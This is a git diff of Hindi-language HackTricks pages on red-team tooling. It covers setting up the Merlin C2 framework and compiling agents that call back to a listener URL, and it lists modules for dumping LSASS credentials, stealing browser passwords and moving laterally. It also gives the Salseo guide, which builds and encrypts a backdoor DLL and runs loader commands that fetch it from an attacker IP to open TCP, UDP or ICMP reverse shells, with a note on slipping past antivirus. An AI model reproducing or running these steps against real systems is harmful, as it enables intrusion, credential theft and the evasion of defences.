|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# स्थापना
|
||||
# Installation
|
||||
|
||||
## GO स्थापित करें
|
||||
## Install GO
|
||||
```
|
||||
#Download GO package from: https://golang.org/dl/
|
||||
#Decompress the packe using:
|
||||
|
@ -39,69 +39,69 @@ go run cmd/merlinserver/main.go -i
|
|||
```
|
||||
# मर्लिन एजेंट्स
|
||||
|
||||
आप [पूर्व-संकलित एजेंट्स डाउनलोड कर सकते हैं](https://github.com/Ne0nd0g/merlin/releases)
|
||||
आप [पूर्व-संकलित एजेंट्स डाउनलोड](https://github.com/Ne0nd0g/merlin/releases) कर सकते हैं
|
||||
|
||||
## एजेंट्स संकलित करें
|
||||
## एजेंट्स कंपाइल करें
|
||||
|
||||
मुख्य फोल्डर _$GOPATH/src/github.com/Ne0nd0g/merlin/_ पर जाएं
|
||||
मुख्य फ़ोल्डर जाएं _$GOPATH/src/github.com/Ne0nd0g/merlin/_
|
||||
```
|
||||
#User URL param to set the listener URL
|
||||
make #Server and Agents of all
|
||||
make windows #Server and Agents for Windows
|
||||
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
|
||||
```
|
||||
## **मैनुअल कंपाइल एजेंट्स**
|
||||
## **मैन्युअल कंपाइल एजेंट**
|
||||
```
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
|
||||
```
|
||||
# मॉड्यूल्स
|
||||
# मॉड्यूल
|
||||
|
||||
**बुरी खबर यह है कि Merlin द्वारा प्रयुक्त हर मॉड्यूल स्रोत (Github) से डाउनलोड किया जाता है और उपयोग से पहले डिस्क पर सेव किया जाता है। जब आप प्रसिद्ध मॉड्यूल्स का उपयोग कर रहे हों तो सावधान रहें क्योंकि Windows Defender आपको पकड़ लेगा!**
|
||||
**बुरी खबर यह है कि मर्लिन द्वारा प्रयोग किए जाने वाले प्रत्येक मॉड्यूल को स्रोत (गिथब) से डाउनलोड किया जाता है और उसे उसके उपयोग से पहले डिस्क पर सहेज लिया जाता है। जानकारी वाले मॉड्यूल का उपयोग करते समय सावधान रहें क्योंकि Windows Defender आपको पकड़ लेगा!**
|
||||
|
||||
**SafetyKatz** --> Modified Mimikatz. LSASS को फाइल में डंप करें और उस फाइल के लिए:sekurlsa::logonpasswords लॉन्च करें\
|
||||
**SharpDump** --> निर्दिष्ट प्रोसेस ID के लिए minidump (LSASS डिफ़ॉल्ट रूप से) (यह कहा जाता है कि अंतिम फाइल का एक्सटेंशन .gz है लेकिन वास्तव में यह .bin है, लेकिन यह एक gz फाइल है)\
|
||||
|
||||
**SafetyKatz** --> संशोधित Mimikatz। LSASS को फ़ाइल में डंप करें और उस फ़ाइल में:sekurlsa::logonpasswords लॉन्च करें\
|
||||
**SharpDump** --> निर्दिष्ट प्रक्रिया आईडी के लिए मिनीडंप (डिफ़ॉल्ट रूप से LSASS) (अंतिम फ़ाइल का एक्सटेंशन .gz है लेकिन वास्तव में यह .bin है, लेकिन एक .gz फ़ाइल है)\
|
||||
**SharpRoast** --> Kerberoast (काम नहीं करता)\
|
||||
**SeatBelt** --> CS में स्थानीय सुरक्षा परीक्षण (काम नहीं करता) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
|
||||
**SeatBelt** --> स्थानीय सुरक्षा परीक्षण CS में (काम नहीं करता) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
|
||||
**Compiler-CSharp** --> csc.exe /unsafe का उपयोग करके कंपाइल करें\
|
||||
**Sharp-Up** --> C# में powerup में सभी जांचें (काम करता है)\
|
||||
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल टूल (काम नहीं करता, लोड करने की आवश्यकता है: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
|
||||
**Invoke-InternalMonologue** --> सभी उपलब्ध उपयोगकर्ताओं का अनुकरण करता है और प्रत्येक के लिए एक चुनौती-प्रतिक्रिया प्राप्त करता है (प्रत्येक उपयोगकर्ता के लिए NTLM हैश) (खराब url)\
|
||||
**Invoke-PowerThIEf** --> IExplorer से फॉर्म्स चुराएं या उसे JS निष्पादित करने के लिए बनाएं या उस प्रक्रिया में एक DLL इंजेक्ट करें (काम नहीं करता) (और PS भी काम नहीं करता लगता है) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
|
||||
**LaZagneForensic** --> ब्राउज़र पासवर्ड प्राप्त करें (काम करता है लेकिन आउटपुट डायरेक्टरी प्रिंट नहीं करता)\
|
||||
**Sharp-Up** --> पावरअप में C# में सभी जांचें (काम करता है)\
|
||||
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS स्पूफ़र और मैन-इन-द-मिडिल टूल (काम नहीं करता, लोड करने की आवश्यकता है: https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
|
||||
**Invoke-InternalMonologue** --> सभी उपलब्ध उपयोगकर्ताओं का अनुकरण करता है और प्रत्येक के लिए एक चैलेंज-प्रतिक्रिया प्राप्त करता है (प्रत्येक उपयोगकर्ता के लिए एनटीएलएम हैश) (बुरा यूआरएल)\
|
||||
**Invoke-PowerThIEf** --> IExplorer से फॉर्म चुराएं या उसमें JS को क्रियान्वित करें या उस प्रक्रिया में एक DLL इंजेक्ट करें (काम नहीं करता) (और पीएस भी काम नहीं करता लगता है) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
|
||||
**LaZagneForensic** --> ब्राउज़र पासवर्ड प्राप्त करें (काम करता है लेकिन आउटपुट निर्देशिका को प्रिंट नहीं करता)\
|
||||
**dumpCredStore** --> Win32 Credential Manager API (https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
|
||||
**Get-InjectedThread** --> चल रही प्रक्रियाओं में क्लासिक इंजेक्शन का पता लगाएं (क्लासिक इंजेक्शन (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (काम नहीं करता)\
|
||||
**Get-OSTokenInformation** --> चल रही प्रक्रियाओं और थ्रेड्स की टोकन जानकारी प्राप्त करें (उपयोगकर्ता, समूह, विशेषाधिकार, मालिक… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
|
||||
**Invoke-DCOM** --> DCOM के माध्यम से एक कमांड निष्पादित करें (अन्य कंप्यूटर में) (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
|
||||
**Invoke-DCOMPowerPointPivot** --> PowerPoint COM ऑब्जेक्ट्स का दुरुपयोग करके अन्य PC में एक कमांड निष्पादित करें (ADDin)\
|
||||
**Invoke-ExcelMacroPivot** --> DCOM का दुरुपयोग करके Excel में अन्य PC में एक कमांड निष्पादित करें\
|
||||
**Get-InjectedThread** --> चल रहे प्रक्रियाओं में क्लासिक इंजेक्शन का पता लगाएं (क्लासिक इंजेक्शन (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)) (काम नहीं करता)\
|
||||
**Get-OSTokenInformation** --> चल रहे प्रक्रियाओं और धागों की टोकन जानकारी प्राप्त करें (उपयोगकर्ता, समूह, विशेषाधिकार, मालिक… https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
|
||||
**Invoke-DCOM** --> DCOM के माध्यम से (दूसरे कंप्यूटर में) एक कमांड का निष्पादन करें (http://www.enigma0x3.net.) (https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
|
||||
**Invoke-DCOMPowerPointPivot** --> PowerPoint COM ऑब्जेक्ट्स (ADDin) का दुरुपयोग करके दूसरे पीसी में एक कमांड निष्पादित करें\
|
||||
**Invoke-ExcelMacroPivot** --> Excel में DCOM का दुरुपयोग करके दूसरे पीसी में एक कमांड निष्पादित करें\
|
||||
**Find-ComputersWithRemoteAccessPolicies** --> (काम नहीं करता) (https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\
|
||||
**Grouper** --> यह समूह नीति के सभी सबसे दिलचस्प भागों को डंप करता है और फिर उनमें शोषणीय सामग्री के लिए खोज करता है। (पुराना) Grouper2 पर एक नज़र डालें, वास्तव में अच्छा लगता है\
|
||||
**Invoke-WMILM** --> बाद में चलने के लिए WMI\
|
||||
**Get-GPPPassword** --> groups.xml, scheduledtasks.xml, services.xml और datasources.xml के लिए देखें और प्लेनटेक्स्ट पासवर्ड लौटाएं (डोमेन के अंदर)\
|
||||
**Invoke-Mimikatz** --> Mimikatz का उपयोग करें (डिफ़ॉल्ट डंप क्रेड्स)\
|
||||
**Grouper** --> ग्रुप नीति के सभी रोचक हिस्से को डंप करता है और फिर उनमें खोज करता है कि उनमें उचित चीजें हैं या नहीं। (पुराना) Grouper2 पर एक नज़र डालें, बहुत अच्छा लगता है\
|
||||
**Invoke-WMILM** --> विमाई को लैटरली मूव करने के लिए WMI\
|
||||
**Get-GPPPassword** --> groups.xml, scheduledtasks.xml, services.xml और datasources.xml खोजें और सादा पासवर्ड प्राप्त करें (डोमेन के अंदर)\
|
||||
**Invoke-Mimikatz** --> Mimikatz का उपयोग करें (डिफ़ॉल्ट डंप क्रेडेंशियल्स)\
|
||||
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
|
||||
**Find-BadPrivilege** --> कंप्यूटरों में उपयोगकर्ताओं के विशेषाधिकारों की जांच करें\
|
||||
**Find-BadPrivilege** --> कंप्यूटरों में उपयोगकर्ताओं की विशेषाधिकारों की जांच करें\
|
||||
**Find-PotentiallyCrackableAccounts** --> SPN से जुड़े उपयोगकर्ता खातों के बारे में जानकारी प्राप्त करें (Kerberoasting)\
|
||||
**psgetsystem** --> getsystem
|
||||
|
||||
**स्थायित्व मॉड्यूल्स की जांच नहीं की**
|
||||
**स्थायित्व मॉड्यूल की जांच नहीं की गई**
|
||||
|
||||
# सारांश
|
||||
|
||||
मुझे इस टूल की अनुभूति और संभावना बहुत पसंद है।\
|
||||
मुझे आशा है कि यह टूल सर्वर से मॉड्यूल्स डाउनलोड करना शुरू कर देगा और स्क्रिप्ट्स डाउनलोड करते समय किसी प्रकार की चकमा देने की क्षमता को एकीकृत करेगा।
|
||||
|
||||
मुझे वास्तव में इस उपकरण की भावना और क्षमता बहुत पसंद है।\
|
||||
मुझे आशा है कि उपकरण सर्वर से मॉड्यूल डाउनलोड करना शुरू कर देगा और स्क्रिप्ट डाउनलोड करते समय किसी प्रकार की टालना जोड़े।
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें।**
|
||||
* **HackTricks** को अपनी हैकिंग ट्रिक्स साझा करके PRs सबमिट करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में पीआर जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,68 +1,72 @@
|
|||
# साल्सियो
|
||||
# सलसेओ
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## बाइनरीज को कंपाइल करना
|
||||
## बाइनरी को कंपाइल करना
|
||||
|
||||
github से सोर्स कोड डाउनलोड करें और **EvilSalsa** और **SalseoLoader** को कंपाइल करें। कोड को कंपाइल करने के लिए आपको **Visual Studio** इंस्टॉल करना होगा।
|
||||
गिटहब से स्रोत कोड डाउनलोड करें और **EvilSalsa** और **SalseoLoader** को कंपाइल करें। कोड को कंपाइल करने के लिए **Visual Studio** इंस्टॉल करना होगा।
|
||||
|
||||
उन प्रोजेक्ट्स को उस विंडोज बॉक्स के आर्किटेक्चर के लिए कंपाइल करें जहां आप उनका उपयोग करने वाले हैं(अगर विंडोज x64 को सपोर्ट करता है तो उस आर्किटेक्चर के लिए कंपाइल करें)।
|
||||
इन परियोजनाओं को उस विंडोज बॉक्स के आर्किटेक्चर के लिए कंपाइल करें जहां आप उन्हें उपयोग करने जा रहे हैं (यदि विंडोज x64 का समर्थन करता है तो उन्हें उस आर्किटेक्चर के लिए कंपाइल करें)।
|
||||
|
||||
आप **Visual Studio में बाईं "Build" टैब** में **"Platform Target"** में आर्किटेक्चर का **चयन कर सकते हैं**।
|
||||
आप **Visual Studio** में **"Platform Target"** में **वाम "Build" टैब** में **आर्किटेक्चर का चयन** कर सकते हैं।
|
||||
|
||||
(**अगर आपको ये विकल्प नहीं मिल रहे हैं तो "Project Tab"** में जाएं और फिर **"\<Project Name> Properties"** में)
|
||||
(\*\*यदि आप इस विकल्प को नहीं ढूंढ सकते तो **"प्रोजेक्ट टैब"** में जाएं और फिर **"\<प्रोजेक्ट नाम> गुणवत्ता"** में जाएं)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
फिर, दोनों प्रोजेक्ट्स को बिल्ड करें (Build -> Build Solution) (लॉग्स के अंदर एक्जीक्यूटेबल का पथ दिखाई देगा):
|
||||
फिर, दोनों परियोजनाओं को बनाएं (बिल्ड -> समाधान बनाएं) (लॉग्स के अंदर एक्जीक्यूटेबल का पथ दिखाई देगा):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## बैकडोर तैयार करना
|
||||
## बैकडोर की तैयारी
|
||||
|
||||
सबसे पहले, आपको **EvilSalsa.dll** को एन्कोड करना होगा। ऐसा करने के लिए, आप पायथन स्क्रिप्ट **encrypterassembly.py** का उपयोग कर सकते हैं या आप प्रोजेक्ट **EncrypterAssembly** को कंपाइल कर सकते हैं:
|
||||
सबसे पहले, आपको **EvilSalsa.dll** को एन्कोड करने की आवश्यकता होगी। इसे करने के लिए, आप **encrypterassembly.py** पायथन स्क्रिप्ट का उपयोग कर सकते हैं या आप परियोजना **EncrypterAssembly** को कंपाइल कर सकते हैं:
|
||||
|
||||
### **Python**
|
||||
### **पायथन**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### विंडोज
|
||||
### Windows
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
## **बैकडोर निष्पादित करें**
|
||||
ठीक है, अब आपके पास सारे Salseo चीजों को निष्पादित करने के लिए जो चाहिए: **encoded EvilDalsa.dll** और **SalseoLoader का बाइनरी।**
|
||||
|
||||
### **एक TCP रिवर्स शेल प्राप्त करना (HTTP के माध्यम से एन्कोडेड dll डाउनलोड करना)**
|
||||
**SalseoLoader.exe बाइनरी को मशीन पर अपलोड करें। इन्हें किसी भी AV द्वारा पहचाना नहीं जाना चाहिए...**
|
||||
|
||||
nc को रिवर्स शेल लिसनर के रूप में और एन्कोडेड evilsalsa को सर्व करने के लिए एक HTTP सर्वर के रूप में शुरू करना न भूलें।
|
||||
## **बैकडोर को निष्पादित करें**
|
||||
|
||||
### **TCP रिवर्स शैल प्राप्त करना (HTTP के माध्यम से एन्कोडेड dll को डाउनलोड करना)**
|
||||
|
||||
ध्यान दें कि रिवर्स शैल सुनने वाले के रूप में एनसी शुरू करें और एक HTTP सर्वर शुरू करें जो एन्कोडेड evilsalsa को सेवा करेगा।
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **UDP रिवर्स शेल प्राप्त करना (SMB के माध्यम से एन्कोडेड dll डाउनलोड करना)**
|
||||
### **एक UDP रिवर्स शैल (SMB के माध्यम से एन्कोडेड dll डाउनलोड करना)**
|
||||
|
||||
रिवर्स शेल सुनने वाले के रूप में nc शुरू करना न भूलें, और एन्कोडेड evilsalsa सेवा करने के लिए एक SMB सर्वर (impacket-smbserver)।
|
||||
याद रखें कि रिवर्स शैल सुनने वाले के रूप में एनसी शुरू करें, और एक SMB सर्वर को एन्कोडेड evilsalsa की सेवा करने के लिए (impacket-smbserver)।
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP रिवर्स शेल प्राप्त करना (पीड़ित के अंदर पहले से एन्कोडेड dll)**
|
||||
### **एक ICMP रिवर्स शैल (एंकोडेड डीएल पहले से ही पीड़ित के अंदर)**
|
||||
|
||||
**इस बार आपको रिवर्स शेल प्राप्त करने के लिए क्लाइंट में एक विशेष टूल की आवश्यकता है। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**इस बार आपको रिवर्स शैल प्राप्त करने के लिए क्लाइंट में एक विशेष उपकरण की आवश्यकता है। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **ICMP रिप्लाई को अक्षम करें:**
|
||||
#### **ICMP जवाब अक्षम करें:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
|
@ -73,77 +77,77 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### पीड़ित के अंदर, आइए साल्सियो चीज़ को निष्पादित करें:
|
||||
#### पीड़ित के अंदर, हम salseo चीज को चलाते हैं:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## SalseoLoader को DLL के रूप में संकलित करना जो मुख्य फ़ंक्शन निर्यात करता है
|
||||
## कॉंपाइलिंग SalseoLoader को DLL के रूप में मुख्य फ़ंक्शन को निर्यात करना
|
||||
|
||||
Visual Studio का उपयोग करके SalseoLoader प्रोजेक्ट खोलें।
|
||||
Visual Studio का उपयोग करके SalseoLoader परियोजना खोलें।
|
||||
|
||||
### मुख्य फ़ंक्शन से पहले जोड़ें: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### इस प्रोजेक्ट के लिए DllExport स्थापित करें
|
||||
### इस परियोजना के लिए DllExport इंस्टॉल करें
|
||||
|
||||
#### **टूल्स** --> **NuGet पैकेज मैनेजर** --> **समाधान के लिए NuGet पैकेज प्रबंधित करें...**
|
||||
#### **उपकरण** --> **NuGet पैकेज प्रबंधक** --> **समाधान के लिए NuGet पैकेज स्थापित करें...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExport पैकेज की खोज करें (Browse टैब का उपयोग करके), और Install दबाएं (और पॉपअप स्वीकार करें)**
|
||||
#### **DllExport पैकेज (ब्राउज़ टैब का उपयोग करके) खोजें और स्थापित करें (और पॉपअप स्वीकार करें)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
आपके प्रोजेक्ट फ़ोल्डर में फ़ाइलें दिखाई देंगी: **DllExport.bat** और **DllExport_Configure.bat**
|
||||
आपके परियोजना फ़ोल्डर में फ़ाइलें दिखाई देने लगी हैं: **DllExport.bat** और **DllExport\_Configure.bat**
|
||||
|
||||
### **U**ninstall DllExport
|
||||
### **DllExport को अनइंस्टॉल करें**
|
||||
|
||||
**Uninstall** दबाएं (हां, यह अजीब है लेकिन मुझ पर भरोसा करें, यह आवश्यक है)
|
||||
**अनइंस्टॉल** दबाएं (हां, यह अजीब है लेकिन मुझ पर भरोसा करें, यह आवश्यक है)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### **Visual Studio से बाहर निकलें और DllExport_configure चलाएं**
|
||||
### **Visual Studio बंद करें और DllExport\_configure को चलाएं**
|
||||
|
||||
बस **बाहर निकलें** Visual Studio से
|
||||
बस **बंद** करें Visual Studio
|
||||
|
||||
फिर, अपने **SalseoLoader फ़ोल्डर** में जाएं और **DllExport_Configure.bat चलाएं**
|
||||
फिर, अपने **SalseoLoader फ़ोल्डर** पर जाएं और **DllExport\_Configure.bat** को चलाएं
|
||||
|
||||
**x64** चुनें (अगर आप इसे x64 बॉक्स के अंदर उपयोग करने वाले हैं, वह मेरा मामला था), **System.Runtime.InteropServices** चुनें (अंदर **Namespace for DllExport**) और **Apply** दबाएं
|
||||
**x64** का चयन करें (यदि आप इसे x64 बॉक्स के अंदर उपयोग करने जा रहे हैं, तो यह मेरा मामला था), **System.Runtime.InteropServices** का चयन करें (**DllExport के लिए नेमस्पेस**) और **Apply** दबाएं
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **प्रोजेक्ट को फिर से Visual Studio के साथ खोलें**
|
||||
### **परियोजना को फिर से Visual Studio के साथ खोलें**
|
||||
|
||||
**\[DllExport]** को अब त्रुटि के रूप में चिह्नित नहीं किया जाना चाहिए
|
||||
**\[DllExport]** को अब और त्रुटि के रूप में नहीं चिह्नित किया जाना चाहिए
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### समाधान बनाएं
|
||||
### समाधान को बिल्ड करें
|
||||
|
||||
**आउटपुट प्रकार = क्लास लाइब्रेरी** चुनें (प्रोजेक्ट --> SalseoLoader Properties --> एप्लिकेशन --> आउटपुट प्रकार = क्लास लाइब्रेरी)
|
||||
**आउटपुट प्रकार = क्लास लाइब्रेरी** का चयन करें (परियोजना --> SalseoLoader गुण --> एप्लिकेशन --> आउटपुट प्रकार = क्लास लाइब्रेरी)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
